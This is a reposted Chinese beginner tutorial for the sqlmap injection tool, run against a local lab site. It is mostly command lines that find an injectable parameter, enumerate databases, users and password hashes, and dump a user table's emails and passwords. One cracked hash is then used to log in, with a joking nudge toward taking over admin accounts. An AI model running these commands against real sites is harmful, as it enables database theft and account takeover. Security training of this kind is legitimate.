渗透测试工具sqlmap基础教程——多用,都看教程

渗透测试工具sqlmap基础教程

转载请注明出处:http://blog.csdn.net/zgyulongfei/article/details/41017493

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
Target:
    At least one of these options has to be provided to define the
    target(s)
 
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs
 
  Request:
    These options can be used to specify how to connect to the target URL
 
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly
 
  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts
 
    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value
 
  Detection:
    These options can be used to customize the detection phase
 
    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
 
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
 
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
 
  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables
 
    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
 
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
 
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
 
  General:
    These options can be used to set some general working parameters
 
    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target
 
  Miscellaneous:
    These options do not fit into any other category
 
    --wizard            Simple wizard interface for beginner users

 

作者:羽龍飛

 本文仅献给想学习渗透测试的sqlmap小白,大牛请绕过。

>

>

对于网络安全人员来说,掌握渗透工具的使用方法是一项必备的技能。然而,一个没有师傅带领的小白在刚开始学习时,并不知道该如何入手进行渗透学习,所以本文旨在帮助这些小白入门。

 

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。

 

既然本文是基础教程,以下只写工具的基本使用方法。

 

本教程为sqlmap具体应用案例,如需了解更多sqlmap资料可以访问官方http://sqlmap.org ,或者乌云知识库http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。

 

测试环境:本地搭建的具有sql注入点的网站 http://192.168.1.150

注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

 

 

教程开始:

一、检测注入点是否可用

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"

参数:

-u:指定注入点url

结果:

注入结果展示:

(1)注入参数id为GET注入,注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。

(2)web服务器系统为windows 2003 or XP

(3)web应用程序技术为:ASP.NET, Microsoft IIS 6.0

(4)数据库类型为:SQLSERVER 2000

 

其中图一有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch

 

 

二、暴库

一条命令即可曝出该sqlserver中所有数据库名称,命令如下:

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs

参数:

--dbs:dbs前面有两条杠,请看清楚。

结果:

 

结果显示该sqlserver中共包含7个可用的数据库。

 

三、web当前使用的数据库

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db

 

四、web数据库使用账户

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user

 

五、列出sqlserver所有用户

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users

 

六、数据库账户与密码

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords

 

七、列出数据库中的表

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables

参数:

-D:指定数据库名称

--tables:列出表

结果:

结果体现共列出了34张表。

 

八、列出表中字段

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

结果:

结果显示该userb表中包含了23条字段。

 

九、暴字段内容

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump

参数:

-C :指定要暴的字段

--dump:将结果导出

结果:

如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump

参数:

--start:指定开始的行

--stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。

结果如下:

 

十、验证结果

通过上图结果看到其中的一个用户信息为:

email:123456@qq.com

username: 1.asp

password: 49ba59abbe56e057

通过md5解密,得到该hash的原文密码为:123456

拿到账号密码我们来测试是否可以登录,登录结果如下:

验证成功!

当然我们只是拿到普通会员账号进行登录,你也可以拿到管理员账号进行登录,后面的事情自己发挥吧,嘿嘿!

---------------------

posted @   bonelee  阅读(248)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-06-14 Linux 反弹shell(二)反弹shell的本质
2018-06-14 leetcode 367. Valid Perfect Square
2018-06-14 DGA短域名(360样本) mark下 下次分析可以参考
2018-06-14 cylance做的机器学习相关材料汇总
2017-06-14 KD树——k=1时就是BST,里面的数学原理还是有不明白的地方,为啥方差划分?
2017-06-14 梯度下降法——得到的结果可能是局部最优值,如果凸函数则可保证梯度下降得到的是全局最优值
点击右上角即可分享
微信分享提示